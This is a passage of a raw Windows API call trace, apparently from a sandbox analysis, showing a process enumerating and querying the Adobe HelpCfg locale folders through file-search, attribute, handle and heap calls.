dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.702] GetLastError () returned 0x12 [0086.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.702] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.703] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0086.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.703] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.704] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.704] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.704] NtClose (Handle=0x180) returned 0x0 [0086.705] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.705] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.705] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.705] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb388 [0086.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9ad8 [0086.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.707] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.707] GetLastError () returned 0x12 [0086.707] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.708] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.708] GetLastError () returned 0x12 [0086.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.708] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.708] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.709] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0086.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.709] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0086.745] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.746] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.746] NtClose (Handle=0x168) returned 0x0 [0086.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.747] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.747] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.747] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb3a8 [0086.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9be0 [0086.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.750] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.750] GetLastError () returned 0x12 [0086.750] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.750] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.750] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.750] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.750] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.750] GetLastError () returned 0x12 [0086.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.750] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.751] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0086.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0086.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0086.752] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0086.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0086.752] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0086.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0086.752] NtClose (Handle=0x180) returned 0x0 [0086.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d260 [0086.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d2e8 [0086.753] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0086.753] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.753] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0086.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0086.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d260) returned 1 [0086.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb3c8 [0086.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e9ce8 [0086.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8140) returned 0x12fa550 [0086.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2448) returned 1 [0086.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0086.757] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.757] GetLastError () returned 0x12 [0086.757] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0086.757] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0086.757] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.757] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 1 [0086.757] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="")) returned 0 [0086.757] GetLastError () returned 0x12 [0086.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d2e8) returned 1 [0086.757] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0086.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0086.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0086.758] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0086.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0086.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\zh_cn"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, 